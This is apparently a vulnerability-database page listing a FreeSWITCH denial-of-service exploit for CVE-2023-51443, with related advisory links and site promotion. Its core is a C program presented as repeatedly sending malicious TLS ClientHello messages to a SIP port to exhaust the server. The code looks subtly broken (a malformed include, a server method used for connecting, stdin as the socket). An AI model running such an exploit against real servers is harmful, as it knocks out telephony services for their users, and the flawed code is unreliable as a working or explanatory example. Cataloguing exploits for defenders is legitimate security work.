Lucene search
+L

FreeSWITCH Denial Of Service Exploit

🗓️ 08 Jan 2024 00:00:00Reported by Amirhossein BahramizadehType 
zdt
 zdt
🔗 0day.today👁 310 Views

FreeSWITCH Denial Of Service Exploit using OpenSS

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
FreeSWITCH 1.10.10 Denial Of Service Vulnerability
29 Dec 202300:00
–zdt
alpinelinux
AlpineLinux
CVE-2023-51443
27 Dec 202316:30
–alpinelinux
bdu_fstec
BDU FSTEC
FreeSWITCH DoS
14 Feb 202400:00
–bdu_fstec
circl
Circl
CVE-2023-51443
27 Dec 202318:26
–circl
cnnvd
CNNVD
FreeSWITCH Security Breach
26 Dec 202300:00
–cnnvd
cve
CVE
CVE-2023-51443
27 Dec 202316:30
–cve
cvelist
Cvelist
CVE-2023-51443 FreeSWITCH susceptible to Denial of Service via DTLS Hello packets during call initiation
27 Dec 202316:30
–cvelist
euvd
EUVD
EUVD-2023-56161
3 Oct 202520:07
–euvd
mend
Mend
CVE-2023-51443
27 Dec 202316:30
–mend
nvd
NVD
CVE-2023-51443
27 Dec 202317:15
–nvd
Rows per page
#include <stdio.h
#include <string.h>
#include <unistd.h>
#include <openssl/ssl.h>
#include <openssl/err.h>

#define IP "127.0.0.1"
#define PORT 5061

int main() {
    SSL_library_init();
    SSL_load_error_strings();
    OpenSSL_add_ssl_algorithms();

    const SSL_METHOD *method = TLS_server_method();
    SSL_CTX *ctx = SSL_CTX_new(method);

    if (!ctx) {
        fprintf(stderr, "Unable to create SSL context\n");
        ERR_print_errors_fp(stderr);
        return 1;
    }

    SSL *ssl = SSL_new(ctx);
    if (!ssl) {
        fprintf(stderr, "Unable to create SSL\n");
        ERR_print_errors_fp(stderr);
        return 1;
    }

    if (SSL_set_fd(ssl, fileno(stdin)) <= 0) {
        fprintf(stderr, "Unable to set SSL file descriptor\n");
        ERR_print_errors_fp(stderr);
        return 1;
    }

    if (SSL_set_connect_state(ssl) <= 0) {
        fprintf(stderr, "Unable to set SSL connect state\n");
        ERR_print_errors_fp(stderr);
        return 1;
    }

    const SSL_CIPHER *cipher = SSL_CIPHER_find("TLS_NULL_WITH_NULL_NULL");
    if (!cipher) {
        fprintf(stderr, "Unable to find cipher\n");
        ERR_print_errors_fp(stderr);
        return 1;
    }

    SSL_set_cipher_list(ssl, "TLS_NULL_WITH_NULL_NULL");

    if (SSL_connect(ssl) <= 0) {
        fprintf(stderr, "Unable to connect\n");
        ERR_print_errors_fp(stderr);
        return 1;
    }

    printf("Connected with cipher %s\n", SSL_CIPHER_get_name(SSL_get_current_cipher(ssl)));

    // Send malicious ClientHello messages continuously
    while (1) {
        if (SSL_connect(ssl) <= 0) {
            fprintf(stderr, "Unable to connect\n");
            ERR_print_errors_fp(stderr);
            return 1;
        }
        sleep(1);
    }

    SSL_shutdown(ssl);
    SSL_free(ssl);
    SSL_CTX_free(ctx);
    EVP_cleanup();

    return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jan 2024 00:00Current
6.9Medium risk
Vulners AI Score6.9
CVSS 3.15.9 - 7.5
EPSS0.01485
SSVC
310